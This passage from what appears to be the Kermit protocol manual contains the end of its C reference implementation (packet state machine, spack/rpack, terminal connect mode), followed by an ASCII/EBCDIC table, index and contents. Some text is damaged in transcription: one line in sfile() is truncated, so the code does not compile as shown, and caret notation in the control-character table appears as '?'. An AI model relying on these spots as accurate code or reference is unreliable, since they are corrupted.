case 'Y': /* ACK */
if (n != num) /* If wrong ACK, stay in S state */
return(state); /* and try again */
rpar(recpkt); /* Get other side's init info */
if (eol == 0) eol = '\n'; /* Check and set defaults */
if (quote == 0) quote = '#';
numtry = 0; /* Reset try counter */
n = (n+1)%64; /* Bump packet count */
return('F'); /* OK, switch state to F */
case 'E': /* Error packet received */
prerrpkt(recpkt); /* Print it out and */
return('A'); /* abort */
case FALSE: return(state); /* Receive failure, try again */
default: return('A'); /* Anything else, just "abort" */
}
}
/*
* s f i l e
*
* Send File Header.
*/
char sfile()
{
int num, len; /* Packet number, length */
char filnam1[50], /* Converted file name */
*newfilnam, /* Pointer to file name to send */
*cp; /* char pointer */
if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */
A KERMIT Program Page 74
if (fp == NULL) /* If not already open, */
{ if (debug) printf(" Opening %s for sending.\n",filnam);
fp = fopen(filnam,"r"); /* open the file to be sent */
if (fp == NULL) /* If bad file pointer, give up */
{
error("Cannot open file %s",filnam);
return('A');
}
}
strcpy(filnam1, filnam); /* Copy file name */
newfilnam = cp = filnam1;
while (*cp != '\0') /* Strip off all leading directory */
if (*cp++ == '/') /* names (ie. up to the last /). */
newfilnam = cp;
if (filnamcnv) /* Convert lower case to upper */
for (cp = newfilnam; *cp != '\0'; cp++)
if (*cp >= 'a' && *cp <= 'z')
*cp
len = cp - newfilnam; /* Compute length of new filename */
printmsg("Sending %s as %s",filnam,newfilnam);
spack('F',n,len,newfilnam); /* Send an F packet */
switch(rpack(&len,&num,recpkt)) /* What was the reply? */
{
case 'N': /* NAK, just stay in this state, */
num = (--num<0 ? 63:num); /* unless it's NAK for next packet */
if (n != num) /* which is just like an ACK for */
return(state); /* this packet so fall thru to... */
case 'Y': /* ACK */
if (n != num) return(state); /* If wrong ACK, stay in F state */
numtry = 0; /* Reset try counter */
n = (n+1)%64; /* Bump packet count */
size = bufill(packet); /* Get first data from file */
return('D'); /* Switch state to D */
case 'E': /* Error packet received */
prerrpkt(recpkt); /* Print it out and */
return('A'); /* abort */
case FALSE: return(state); /* Receive failure, stay in F state */
default: return('A'); /* Something else, just "abort" */
}
}
A KERMIT Program Page 75
/*
* s d a t a
*
* Send File Data
*/
char sdata()
{
int num, len; /* Packet number, length */
if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */
spack('D',n,size,packet); /* Send a D packet */
switch(rpack(&len,&num,recpkt)) /* What was the reply? */
{
case 'N': /* NAK, just stay in this state, */
num = (--num<0 ? 63:num); /* unless it's NAK for next packet */
if (n != num) /* which is just like an ACK for */
return(state); /* this packet so fall thru to... */
case 'Y': /* ACK */
if (n != num) return(state); /* If wrong ACK, fail */
numtry = 0; /* Reset try counter */
n = (n+1)%64; /* Bump packet count */
if ((size = bufill(packet)) == EOF) /* Get data from file */
return('Z'); /* If EOF set state to that */
return('D'); /* Got data, stay in state D */
case 'E': /* Error packet received */
prerrpkt(recpkt); /* Print it out and */
return('A'); /* abort */
case FALSE: return(state); /* Receive failure, stay in D */
default: return('A'); /* Anything else, "abort" */
}
}
/*
* s e o f
*
* Send End-Of-File.
*/
char seof()
{
int num, len; /* Packet number, length */
if (numtry++ > MAXTRY) return('A'); /* If too many tries, "abort" */
A KERMIT Program Page 76
spack('Z',n,0,packet); /* Send a 'Z' packet */
switch(rpack(&len,&num,recpkt)) /* What was the reply? */
{
case 'N': /* NAK, just stay in this state, */
num = (--num<0 ? 63:num); /* unless it's NAK for next packet, */
if (n != num) /* which is just like an ACK for */
return(state); /* this packet so fall thru to... */
case 'Y': /* ACK */
if (n != num) return(state); /* If wrong ACK, hold out */
numtry = 0; /* Reset try counter */
n = (n+1)%64; /* and bump packet count */
if (debug) printf(" Closing input file %s, ",filnam);
fclose(fp); /* Close the input file */
fp = NULL; /* Set flag indicating no file open */
if (debug) printf("looking for next file...\n");
if (gnxtfl() == FALSE) /* No more files go? */
return('B'); /* if not, break, EOT, all done */
if (debug) printf(" New file is %s\n",filnam);
return('F'); /* More files, switch state to F */
case 'E': /* Error packet received */
prerrpkt(recpkt); /* Print it out and */
return('A'); /* abort */
case FALSE: return(state); /* Receive failure, stay in Z */
default: return('A'); /* Something else, "abort" */
}
}
/*
* s b r e a k
*
* Send Break (EOT)
*/
char sbreak()
{
int num, len; /* Packet number, length */
if (numtry++ > MAXTRY) return('A'); /* If too many tries "abort" */
spack('B',n,0,packet); /* Send a B packet */
switch (rpack(&len,&num,recpkt)) /* What was the reply? */
{
case 'N': /* NAK, just stay in this state, */
num = (--num<0 ? 63:num); /* unless NAK for previous packet, */
if (n != num) /* which is just like an ACK for */
return(state); /* this packet so fall thru to... */
A KERMIT Program Page 77
case 'Y': /* ACK */
if (n != num) return(state); /* If wrong ACK, fail */
numtry = 0; /* Reset try counter */
n = (n+1)%64; /* and bump packet count */
return('C'); /* Switch state to Complete */
case 'E': /* Error packet received */
prerrpkt(recpkt); /* Print it out and */
return('A'); /* abort */
case FALSE: return(state); /* Receive failure, stay in B */
default: return ('A'); /* Other, "abort" */
}
}
/*
* r e c s w
*
* This is the state table switcher for receiving files.
*/
recsw()
{
char rinit(), rfile(), rdata(); /* Use these procedures */
state = 'R'; /* Receive-Init is the start state */
n = 0; /* Initialize message number */
numtry = 0; /* Say no tries yet */
while(TRUE)
{
if (debug) printf(" recsw state: %c\n",state);
switch(state) /* Do until done */
{
case 'R': state = rinit(); break; /* Receive-Init */
case 'F': state = rfile(); break; /* Receive-File */
case 'D': state = rdata(); break; /* Receive-Data */
case 'C': return(TRUE); /* Complete state */
case 'A': return(FALSE); /* "Abort" state */
}
}
}
/*
* r i n i t
*
* Receive Initialization
*/
char rinit()
{
int len, num; /* Packet length, number */
A KERMIT Program Page 78
if (numtry++ > MAXTRY) return('A'); /* If too many tries, "abort" */
switch(rpack(&len,&num,packet)) /* Get a packet */
{
case 'S': /* Send-Init */
rpar(packet); /* Get the other side's init data */
spar(packet); /* Fill up packet with my init info */
spack('Y',n,6,packet); /* ACK with my parameters */
oldtry = numtry; /* Save old try count */
numtry = 0; /* Start a new counter */
n = (n+1)%64; /* Bump packet number, mod 64 */
return('F'); /* Enter File-Receive state */
case 'E': /* Error packet received */
prerrpkt(recpkt); /* Print it out and */
return('A'); /* abort */
case FALSE: /* Didn't get packet */
spack('N',n,0,0); /* Return a NAK */
return(state); /* Keep trying */
default: return('A'); /* Some other packet type, "abort" */
}
}
/*
* r f i l e
*
* Receive File Header
*/
char rfile()
{
int num, len; /* Packet number, length */
char filnam1[50]; /* Holds the converted file name */
if (numtry++ > MAXTRY) return('A'); /* "abort" if too many tries */
switch(rpack(&len,&num,packet)) /* Get a packet */
{
case 'S': /* Send-Init, maybe our ACK lost */
if (oldtry++ > MAXTRY) return('A'); /* If too many tries "abort" */
if (num == ((n==0) ? 63:n-1)) /* Previous packet, mod 64? */
{ /* Yes, ACK it again with */
spar(packet); /* our Send-Init parameters */
spack('Y',num,6,packet);
numtry = 0; /* Reset try counter */
return(state); /* Stay in this state */
}
else return('A'); /* Not previous packet, "abort" */
A KERMIT Program Page 79
case 'Z': /* End-Of-File */
if (oldtry++ > MAXTRY) return('A');
if (num == ((n==0) ? 63:n-1)) /* Previous packet, mod 64? */
{ /* Yes, ACK it again. */
spack('Y',num,0,0);
numtry = 0;
return(state); /* Stay in this state */
}
else return('A'); /* Not previous packet, "abort" */
case 'F': /* File Header (just what we want) */
if (num != n) return('A'); /* The packet number must be right */
strcpy(filnam1, packet); /* Copy the file name */
if (filnamcnv) /* Convert upper case to lower */
for (filnam=filnam1; *filnam != '\0'; filnam++)
if (*filnam >= 'A' && *filnam <= 'Z')
*filnam |= 040;
if ((fp=fopen(filnam1,"w"))==NULL) /* Try to open a new file */
{
error("Cannot create %s",filnam1); /* Give up if can't */
return('A');
}
else /* OK, give message */
printmsg("Receiving %s as %s",packet,filnam1);
spack('Y',n,0,0); /* Acknowledge the file header */
oldtry = numtry; /* Reset try counters */
numtry = 0; /* ... */
n = (n+1)%64; /* Bump packet number, mod 64 */
return('D'); /* Switch to Data state */
case 'B': /* Break transmission (EOT) */
if (num != n) return ('A'); /* Need right packet number here */
spack('Y',n,0,0); /* Say OK */
return('C'); /* Go to complete state */
case 'E': /* Error packet received */
prerrpkt(recpkt); /* Print it out and */
return('A'); /* abort */
case FALSE: /* Didn't get packet */
spack('N',n,0,0); /* Return a NAK */
return(state); /* Keep trying */
default: return ('A'); /* Some other packet, "abort" */
}
}
A KERMIT Program Page 80
/*
* r d a t a
*
* Receive Data
*/
char rdata()
{
int num, len; /* Packet number, length */
if (numtry++ > MAXTRY) return('A'); /* "abort" if too many tries */
switch(rpack(&len,&num,packet)) /* Get packet */
{
case 'D': /* Got Data packet */
if (num != n) /* Right packet? */
{ /* No */
if (oldtry++ > MAXTRY)
return('A'); /* If too many tries, abort */
if (num == ((n==0) ? 63:n-1)) /* Else check packet number */
{ /* Previous packet again? */
spack('Y',num,6,packet); /* Yes, re-ACK it */
numtry = 0; /* Reset try counter */
return(state); /* Don't write out data! */
}
else return('A'); /* sorry, wrong number */
}
/* Got data with right packet number */
bufemp(packet,len); /* Write the data to the file */
spack('Y',n,0,0); /* Acknowledge the packet */
oldtry = numtry; /* Reset the try counters */
numtry = 0; /* ... */
n = (n+1)%64; /* Bump packet number, mod 64 */
return('D'); /* Remain in data state */
case 'F': /* Got a File Header */
if (oldtry++ > MAXTRY)
return('A'); /* If too many tries, "abort" */
if (num == ((n==0) ? 63:n-1)) /* Else check packet number */
{ /* It was the previous one */
spack('Y',num,0,0); /* ACK it again */
numtry = 0;
/* Reset try counter */
return(state); /* Stay in Data state */
}
else return('A'); /* Not previous packet, "abort" */
case 'Z': /* End-Of-File */
if (num != n) return('A'); /* Must have right packet number */
spack('Y',n,0,0); /* OK, ACK it. */
fclose(fp); /* Close the file */
n = (n+1)%64; /* Bump packet number */
return('F'); /* Go back to Receive File state */
case 'E': /* Error packet received */
prerrpkt(recpkt); /* Print it out and */
return('A'); /* abort */
A KERMIT Program Page 81
case FALSE: /* Didn't get packet */
spack('N',n,0,0); /* Return a NAK */
return(state); /* Keep trying */
default: return('A'); /* Some other packet, "abort" */
}
}
/*
* c o n n e c t
*
* Establish a virtual terminal connection with the remote host, over an
* assigned tty line.
*/
connect()
{
int pid, /* Holds process id of child */
connected; /* Boolean connect flag */
char bel = '\07',
c;
struct sgttyb
rawmode, /* Controlling tty raw mode */
cookedmode; /* Controlling tty cooked mode */
if (remote) /* Nothing to connect to in remote */
{ /* mode, so just return */
printmsg("No line specified for connection.");
return;
}
gtty(0,&cookedmode); /* Save current mode so we can */
gtty(0,&rawmode); /* restore it later */
rawmode.sg_flags |= (RAW|TANDEM);
rawmode.sg_flags &= ~(ECHO|CRMOD);
stty(0,&rawmode); /* Put tty in raw mode */
pid = fork(); /* Start fork to get typeout from remote host */
A KERMIT Program Page 82
if (pid) /* Parent: send type-in to remote host */
{
printmsg("connected...\r");
connected = TRUE; /* Put us in "connect mode" */
while (connected)
{
read(0,&c,1); /* Get a character */
if ((c&0177) == escchr) /* Check for escape character */
{
read(0,&c,1);
if ((c&0177) == escchr)
write(ttyfd,&c,1);
else
switch (c&0177)
{
case 'c':
case 'C':
connected = FALSE;
write(0,"\r\n",2);
break;
case 'h':
case 'H':
write(0,"\r\nYes, I'm still here...\r\n",26);
break;
default:
write(0,&bel,1);
break;
}
}
else
{ /* If not escape charater, */
write(ttyfd,&c,1); /* write it out */
c = NULL; /* Nullify it (why?) */
}
}
kill(pid,9); /* Done, kill the child */
wait(0); /* and bury him */
stty(0,&cookedmode); /* Restore tty mode */
printmsg("disconnected.");
return; /* Done */
}
else /* Child does the reading from the remote host */
{
while(1) /* Do this forever */
{
read(ttyfd,&c,1);
write(1,&c,1);
}
}
}
A KERMIT Program Page 83
/*
* KERMIT utilities.
*/
clkint() /* Timer interrupt handler */
{
longjmp(env,TRUE); /* Tell rpack to give up */
}
/*
* s p a c k
*
* Send a Packet
*/
spack(type,num,len,data)
char type, *data;
int num, len;
{
int i; /* Character loop counter */
char chksum, buffer[100]; /* Checksum, packet buffer */
register char *bufp; /* Buffer pointer */
if (debug>1) /* Display outgoing packet */
{
if (data != NULL)
data[len] = '\0'; /* Null-terminate data to print it */
printf(" spack type: %c\n",type);
printf(" num: %d\n",num);
printf(" len: %d\n",len);
if (data != NULL)
printf(" data: \"%s\"\n",data);
}
bufp = buffer; /* Set up buffer pointer */
for (i=1; i<=pad; i++) write(ttyfd,&padchar,1); /* Issue any padding */
*bufp++ = SOH; /* Packet marker, ASCII 1 (SOH) */
*bufp++ = tochar(len+3); /* Send the character count */
chksum = tochar(len+3); /* Initialize the checksum */
*bufp++ = tochar(num); /* Packet number */
chksum += tochar(num); /* Update checksum */
*bufp++ = type; /* Packet type */
chksum += type; /* Update checksum */
A KERMIT Program Page 84
for (i=0; i<len; i++) /* Loop for all data characters */
{
*bufp++ = data[i]; /* Get a character */
chksum += data[i]; /* Update checksum */
}
chksum = (((chksum&0300) >> 6)+chksum)&077; /* Compute final checksum */
*bufp++ = tochar(chksum); /* Put it in the packet */
*bufp = eol; /* Extra-packet line terminator */
write(ttyfd, buffer,bufp-buffer+1); /* Send the packet */
}
/*
* r p a c k
*
* Read a Packet
*/
rpack(len,num,data)
int *len, *num; /* Packet length, number */
char *data; /* Packet data */
{
int i, done; /* Data character number, loop exit */
char t, /* Current input character */
type, /* Packet type */
cchksum, /* Our (computed) checksum */
rchksum; /* Checksum received from other host */
#if UCB4X /* TOPS-20 can't handle timeouts... */
if (setjmp(env)) return FALSE; /* Timed out, fail */
signal(SIGALRM,clkint); /* Setup the timeout */
if ((timint > MAXTIM) || (timint < MINTIM)) timint = MYTIME;
alarm(timint);
#endif /* UCB4X */
while (t != SOH) /* Wait for packet header */
{
read(ttyfd,&t,1);
t &= 0177; /* Handle parity */
}
done = FALSE; /* Got SOH, init loop */
while (!done) /* Loop to get a packet */
{
read(ttyfd,&t,1); /* Get character */
if (!image) t &= 0177; /* Handle parity */
if (t == SOH) continue; /* Resynchronize if SOH */
cchksum = t; /* Start the checksum */
*len = unchar(t)-3; /* Character count */
read(ttyfd,&t,1); /* Get character */
if (!image) t &= 0177; /* Handle parity */
if (t == SOH) continue; /* Resynchronize if SOH */
cchksum = cchksum + t; /* Update checksum */
*num = unchar(t); /* Packet number */
A KERMIT Program Page 85
read(ttyfd,&t,1); /* Get character */
if (!image) t &= 0177; /* Handle parity */
if (t == SOH) continue; /* Resynchronize if SOH */
cchksum = cchksum + t; /* Update checksum */
type = t; /* Packet type */
for (i=0; i<*len; i++) /* The data itself, if any */
{ /* Loop for character count */
read(ttyfd,&t,1); /* Get character */
if (!image) t &= 0177; /* Handle parity */
if (t == SOH) continue; /* Resynch if SOH */
cchksum = cchksum + t; /* Update checksum */
data[i] = t; /* Put it in the data buffer */
}
data[*len] = 0; /* Mark the end of the data */
read(ttyfd,&t,1); /* Get last character (checksum) */
rchksum = unchar(t); /* Convert to numeric */
read(ttyfd,&t,1); /* get EOL character and toss it */
if (!image) t &= 0177; /* Handle parity */
if (t == SOH) continue; /* Resynchronize if SOH */
done = TRUE; /* Got checksum, done */
}
#if UCB4X
alarm(0); /* Disable the timer interrupt */
#endif
if (debug>1) /* Display incoming packet */
{
if (data != NULL)
data[*len] = '\0'; /* Null-terminate data to print it */
printf(" rpack type: %c\n",type);
printf(" num: %d\n",*num);
printf(" len: %d\n",*len);
if (data != NULL)
printf(" data: \"%s\"\n",data);
}
/* Fold in bits 7,8 to compute */
cchksum = (((cchksum&0300) >> 6)+cchksum)&077; /* final checksum */
if (cchksum != rchksum) return(FALSE);
return(type); /* All OK, return packet type */
}
/*
* b u f i l l
*
* Get a bufferful of data from the file that's being sent.
* Only control-quoting is done; 8-bit & repeat count prefixes are
* not handled.
*/
A KERMIT Program Page 86
bufill(buffer)
char buffer[]; /* Buffer */
{
int i, /* Loop index */
t; /* Char read from file */
char t7; /* 7-bit version of above */
i = 0; /* Init data buffer pointer */
while((t = getc(fp)) != EOF) /* Get the next character */
{
t7 = t & 0177; /* Get low order 7 bits */
if (t7 < SP || t7==DEL || t7==quote) /* Does this char require */
{ /* special handling? */
if (t=='\n' && !image)
{ /* Do LF->CRLF mapping if !image */
buffer[i++] = quote;
buffer[i++] = ctl('\r');
}
buffer[i++] = quote; /* Quote the character */
if (t7 != quote)
{
t = ctl(t); /* and uncontrolify */
t7 = ctl(t7);
}
}
if (image)
buffer[i++] = t; /* Deposit the character itself */
else
buffer[i++] = t7;
if (i >= spsiz-8) return(i); /* Check length */
}
if (i==0) return(EOF); /* Wind up here only on EOF */
return(i); /* Handle partial buffer */
}
/*
* b u f e m p
*
* Put data from an incoming packet into a file.
*/
bufemp(buffer,len)
char buffer[]; /* Buffer */
int len; /* Length */
{
int i; /* Counter */
char t; /* Character holder */
A KERMIT Program Page 87
for (i=0; i<len; i++) /* Loop thru the data field */
{
t = buffer[i]; /* Get character */
if (t == MYQUOTE) /* Control quote? */
{ /* Yes */
t = buffer[++i]; /* Get the quoted character */
if ((t & 0177) != MYQUOTE) /* Low order bits match quote char? */
t = ctl(t); /* No, uncontrollify it */
}
if (t==CR && !image) /* Don't pass CR if in image mode */
continue;
putc(t,fp);
}
}
/*
* g n x t f l
*
* Get next file in a file group
*/
gnxtfl()
{
if (debug) printf(" gnxtfl: filelist = \"%s\"\n",*filelist);
filnam = *(filelist++);
if (filecount-- == 0) return FALSE; /* If no more, fail */
else return TRUE; /* else succeed */
}
/*
* s p a r
*
* Fill the data array with my send-init parameters
*
*/
spar(data)
char data[];
{
data[0] = tochar(MAXPACKSIZ); /* Biggest packet I can receive */
data[1] = tochar(MYTIME); /* When I want to be timed out */
data[2] = tochar(MYPAD); /* How much padding I need */
data[3] = ctl(MYPCHAR); /* Padding character I want */
data[4] = tochar(MYEOL); /* End-Of-Line character I want */
data[5] = MYQUOTE; /* Control-Quote character I send */
}
A KERMIT Program Page 88
/* r p a r
*
* Get the other host's send-init parameters
*
*/
rpar(data)
char data[];
{
spsiz = unchar(data[0]); /* Maximum send packet size */
timint = unchar(data[1]); /* When I should time out */
pad = unchar(data[2]); /* Number of pads to send */
padchar = ctl(data[3]); /* Padding character to send */
eol = unchar(data[4]); /* EOL character I must send */
quote = data[5]; /* Incoming data quote character */
}
/*
* f l u s h i n p u t
*
* Dump all pending input to clear stacked up NACK's.
* (Implemented only for Berkeley Unix at this time).
*/
#if UCB4X&(~NO_FIONREAD)
flushinput()
{
long int count; /* Number of bytes ready to read */
long int i; /* Number of bytes to read in loop */
ioctl(ttyfd, FIONREAD, &count); /* See how many bytes pending read */
if (!count) return; /* If zero, then no input to flush */
while (count) /* Loop till all are flushed */
{
i = (count<sizeof(recpkt)) ? /* Read min of count and size of */
count : sizeof(recpkt); /* the read buffer */
read(ttyfd, recpkt, i); /* Read a bunch */
count -= i; /* Subtract from amount to read */
}
}
#else
flushinput() /* Null version for non-Berkeley Unix */
{}
#endif /* UCB4X&(~FIONREAD) */
A KERMIT Program Page 89
/*
* Kermit printing routines:
*
* usage - print command line options showing proper syntax
* printmsg - like printf with "Kermit: " prepended
* error - like printmsg if local kermit; sends a error packet if remote
* prerrpkt - print contents of error packet received from remote host
*/
/*
* u s a g e
*
* Print summary of usage info and quit
*/
usage()
{
#if UCB4X
printf("Usage: kermit c[lbe line baud esc.char] (connect mode)\n");
printf("or: kermit s[diflb line baud] file ... (send mode)\n");
printf("or: kermit r[diflb line baud] (receive mode)\n");
#else
printf("Usage: kermit c[le line esc.char] (connect mode)\n");
printf("or: kermit s[difl line] file ... (send mode)\n");
printf("or: kermit r[difl line] (receive mode)\n");
#endif
exit(1);
}
/*
* p r i n t m s g
*
* Print message on standard output if not remote.
*/
/*VARARGS1*/
printmsg(fmt, a1, a2, a3, a4, a5)
char *fmt;
{
if (!remote)
{
printf("Kermit: ");
printf(fmt,a1,a2,a3,a4,a5);
printf("\n");
fflush(stdout); /* force output (UTS needs it) */
}
}
A KERMIT Program Page 90
/*
* e r r o r
*
* Print error message.
*
* If local, print error message with printmsg.
* If remote, send an error packet with the message.
*/
/*VARARGS1*/
error(fmt, a1, a2, a3, a4, a5)
char *fmt;
{
char msg[80];
int len;
if (remote)
{
sprintf(msg,fmt,a1,a2,a3,a4,a5); /* Make it a string */
len = strlen(msg);
spack('E',n,len,msg); /* Send the error packet */
}
else
printmsg(fmt, a1, a2, a3, a4, a5);
return;
}
/*
* p r e r r p k t
*
* Print contents of error packet received from remote host.
*/
prerrpkt(msg)
char *msg;
{
printf("Kermit aborting with following error from remote host:\n%s\n",msg);
return;
}
The ASCII Character Set Page 91
V. The ASCII Character Set
ASCII Code (ANSI X3.4-1968)
There are 128 characters in the ASCII (American national Standard Code for In-
formation Interchange) "alphabet". The characters are listed in order of ASCII
value; the columns are labeled as follows:
Bit Even parity bit for ASCII character.
ASCII Dec Decimal (base 10) representation.
ASCII Oct Octal (base 8) representation.
ASCII Hex Hexadecimal (base 16) representation.
EBCDIC Hex EBCDIC hexadecimal equivalent for Kermit translate tables.
Char Name or graphical representation of character.
Remark Description of character.
The first group consists of nonprintable 'control' characters:
.....ASCII.... EBCDIC
Bit Dec Oct Hex Hex Char Remarks
0 000 000 00 00 NUL , Null, Idle
1 001 001 01 01 SOH ?A, Start of heading
1 002 002 02 02 STX ?B, Start of text
0 003 003 03 03 ETX ?C, End of text
1 004 004 04 37 EOT ?D, End of transmission
0 005 005 05 2D ENQ ?E, Enquiry
0 006 006 06 2E ACK ?F, Acknowledge
1 007 007 07 2F BEL ?G, Bell, beep, or fleep
1 008 010 08 16 BS ?H, Backspace
0 009 011 09 05 HT I, Horizontal tab
0 010 012 0A 25 LF ?J, Line feed
1 011 013 0B 0B VT ?K, Vertical tab
0 012 014 0C 0C FF ?L, Form feed (top of page)
1 013 015 0D 0D CR ?M, Carriage return
1 014 016 0E 0E SO ?N, Shift out
0 015 017 0F 0F SI ?O, Shift in
1 016 020 10 10 DLE ?P, Data link escape
0 017 021 11 11 DC1 ?Q, Device control 1, XON
0 018 022 12 12 DC2 ?R, Device control 2
1 019 023 13 13 DC3 ?S, Device control 3, XOFF
0 020 024 14 3C DC4 ?T, Device control 4
1 021 025 15 3D NAK ?U, Negative acknowledge
1 022 026 16 32 SYN ?V, Synchronous idle
0 023 027 17 26 ETB ?W, End of transmission block
0 024 030 18 18 CAN ?X, Cancel
1 025 031 19 19 EM ?Y, End of medium
1 026 032 1A 3F SUB ?Z, Substitute
0 027 033 1B 27 ESC ?[, Escape, prefix, altmode
1 028 034 1C 1C FS ?\, File separator
0 029 035 1D 1D GS ?], Group separator
0 030 036 1E 1E RS ~, Record separator
1 031 037 1F 1F US Unit separator
The last four are usually associated with the control version of backslash,
right square bracket, uparrow (or circumflex), and underscore, respectively,
The ASCII Character Set Page 92
but some terminals do not transmit these control characters.
The following characters are printable:
First, some punctuation characters.
.....ASCII.... EBCDIC
Bit Dec Oct Hex Hex Char Remarks
1 032 040 20 40 SP Space, blank
0 033 041 21 5A ! Exclamation mark
0 034 042 22 7F " Doublequote
1 035 043 23 7B # Number sign, pound sign
0 036 044 24 5B $ Dollar sign
1 037 045 25 6C % Percent sign
1 038 046 26 50 & Ampersand
0 039 047 27 7D ' Apostrophe, accent acute
0 040 050 28 4D ( Left parenthesis
1 041 051 29 5D ) Right parenthesis
1 042 052 2A 5C * Asterisk, star
0 043 053 2B 4E + Plus sign
1 044 054 2C 6B , Comma
0 045 055 2D 60 - Dash, hyphen, minus sign
0 046 056 2E 4B . Period, dot
1 047 057 2F 61 / Slash
Numeric characters:
.....ASCII.... EBCDIC
Bit Dec Oct Hex Hex Char Remarks
0 048 060 30 F0 0 Zero
1 049 061 31 F1 1 One
1 050 062 32 F2 2 Two
0 051 063 33 F3 3 Three
1 052 064 34 F4 4 Four
0 053 065 35 F5 5 Five
0 054 066 36 F6 6 Six
1 055 067 37 F7 7 Seven
1 056 070 38 F8 8 Eight
0 057 071 39 F9 9 Nine
More punctuation characters:
.....ASCII.... EBCDIC
Bit Dec Oct Hex Hex Char Remarks
0 058 072 3A 7A : Colon
1 059 073 3B 5E ; Semicolon
0 060 074 3C 4C < Left angle bracket
1 061 075 3D 7E = Equal sign
1 062 076 3E 6E > Right angle bracket
0 063 077 3F 6F ? Question mark
1 064 100 40 7C @ "At" sign
The ASCII Character Set Page 93
Upper-case alphabetic characters (letters):
.....ASCII.... EBCDIC
Bit Dec Oct Hex Hex Char Remarks
0 065 101 41 C1 A
0 066 102 42 C2 B
1 067 103 43 C3 C
0 068 104 44 C4 D
1 069 105 45 C5 E
1 070 106 46 C6 F
0 071 107 47 C7 G
0 072 110 48 C8 H
1 073 111 49 C9 I
1 074 112 4A D1 J
0 075 113 4B D2 K
1 076 114 4C D3 L
0 077 115 4D D4 M
0 078 116 4E D5 N
1 079 117 4F D6 O
0 080 120 50 D7 P
1 081 121 51 D8 Q
1 082 122 52 D9 R
0 083 123 53 E2 S
1 084 124 54 E3 T
0 085 125 55 E4 U
0 086 126 56 E5 V
1 087 127 57 E6 W
1 088 130 58 E7 X
0 089 131 59 E8 Y
0 090 132 5A E9 Z
More punctuation characters:
.....ASCII.... EBCDIC
Bit Dec Oct Hex Hex Char Remarks
1 091 133 5B AD [ Left square bracket
0 092 134 5C E0 \ Backslash
1 093 135 5D BD ] Right square bracket
1 094 136 5E 5F ? Circumflex, up arrow
0 095 137 5F 6D _ Underscore, left arrow
0 096 140 60 79 ` Accent grave
The ASCII Character Set Page 94
Lower-case alphabetic characters (letters):
.....ASCII.... EBCDIC
Bit Dec Oct Hex Hex Char Remarks
1 097 141 61 81 a
1 098 142 62 82 b
0 099 143 63 83 c
1 100 144 64 84 d
0 101 145 65 85 e
0 102 146 66 86 f
1 103 147 67 87 g
1 104 150 68 88 h
0 105 151 69 89 i
0 106 152 6A 91 j
1 107 153 6B 92 k
0 108 154 6C 93 l
1 109 155 6D 94 m
1 110 156 6E 95 n
0 111 157 6F 96 o
1 112 160 70 97 p
0 113 161 71 98 q
0 114 162 72 99 r
1 115 163 73 A2 s
0 116 164 74 A3 t
1 117 165 75 A4 u
1 118 166 76 A5 v
0 119 167 77 A6 w
0 120 170 78 A7 x
1 121 171 79 A8 y
1 122 172 7A A9 z
More punctuation characters:
.....ASCII.... EBCDIC
Bit Dec Oct Hex Hex Char Remarks
0 123 173 7B C0 { Left brace (curly bracket)
1 124 174 7C 4F | Vertical bar
0 125 175 7D D0 } Right brace (curly bracket)
0 126 176 7E 7E ~ Tilde
Finally, one more nonprintable character:
0 127 177 7F 07 DEL Delete, rubout
Index Page 95
Index
8th Bit 5, 27 NAK 7, 36
Normal Form for File Names
ACK 7
ASCII 6, 10, 91 Packet 7, 20
Parity 22, 26, 91
Baud 8 Prefix 27, 30
Binary Files 9, 10 Prefixed Sequence 28
Binary Mode 8 Printable Files 10
Bit Positions 5 Program, Kermit 56, 65
Block Check 21, 22 Protocol 3
Bootstrap 59
BREAK 55 Raw Mode 8
Records 10
Capabilies 25 Remote 5, 8
CAPAS 25 Repeat Prefix 27
Char(x) 6 Reserved Fields 25
Checksum 21
Control Character 6 Send-Init 23
Control Characters 20, 91 Sequence Number 12
Control Fields 22 Sequential Files 3
Ctl(x) 6 Server 5
Server Command Wait 28
Data Encoding 22 Server Commands 32
DEFINE 53 Server Operation 28
Duplex 8 Short Reply 31
SOH 8
EBCDIC 8, 10, 91
Edit Number 58 Tab Expansion 10
Encoding 27, 30 Text Files 10
End-Of-Line (EOL) 8, 21 Timeout 7
Errors 14 Transaction 12
Transaction Log 16
Fatal Errors 14 TTY 5
File Names 15
Flow Control 8, 16 Unchar(x) 6
Full Duplex 8 User 5
GET Command 31 XON/XOFF 8, 16, 91
Half Duplex 8
Host 5
Initial Connection 23
KERMIT 3
Language, Programming 58
Line Terminator 21
Line Terminator (see End-Of-Line)
Local 5
Logical Record 10
Logical Records 10
Long Reply 31
Table of Contents Page i
Table of Contents
1. Introduction 3
1.1. Background 3
1.2. Overview 3
2. Definitions 5
2.1. General Terminology 5
2.2. Numbers 5
2.3. Character Set 6
2.4. Conversion Functions 6
2.5. Protocol Jargon 7
3. System Requirements 8
4. Printable Text versus Binary Data 10
4.1. Printable Text Files 10
4.2. Binary Files 10
5. File Transfer 12
5.1. Conditioning the Terminal 13
5.2. Timeouts, NAKs, and Retries 13
5.3. Errors 14
5.4. Heuristics 14
5.5. File Names 15
5.6. Robustness 16
5.7. Flow Control 16
5.8. Basic KERMIT Protocol State Table 17
6. Packet Format 20
6.1. Fields 20
6.2. Terminator 21
6.3. Other Interpacket Data 21
6.4. Encoding, Prefixing, Block Check 22
7. Initial Connection 23
8. Optional Features 27
8.1. 8th-Bit and Repeat Count Prefixing 27
8.2. Server Operation 28
8.2.1. Server Commands 29
8.2.2. Timing 30
8.2.3. The R Command 31
8.2.4. The K Command 31
8.2.5. Short and Long Replies 31
8.2.6. Additional Server Commands 32
8.2.7. Host Commands 34
8.2.8. Exchanging Parameters Before Server Commands 34
Table of Contents Page ii
8.3. Alternate Block Check Types 34
8.4. Interrupting a File Transfer 36
8.5. Transmitting File Attributes 37
8.6. Advanced KERMIT Protocol State Table 43
9. KERMIT Commands 48
9.1. Basic Commands 48
9.2. Program Management Commands 48
9.3. Terminal Emulation Commands 49
9.4. Special User-Mode Commands 49
9.5. Commands Whose Object Should Be Specified 49
9.6. The SET Command 51
9.7. Macros, the DEFINE Command 53
10. Terminal Emulation 54
11. Writing a KERMIT Program 56
11.1. Program Organization 56
11.2. Programming Language 58
11.3. Documentation 58
11.4. Bootstrapping 59
I. Packet Format and Types 60
II. List of Features 61
III. Unresolved Issues 63
IV. A KERMIT Program 65
V. The ASCII Character Set 91
Index 95
=============================================================================
/ /
/ File 04 / NIA070 /
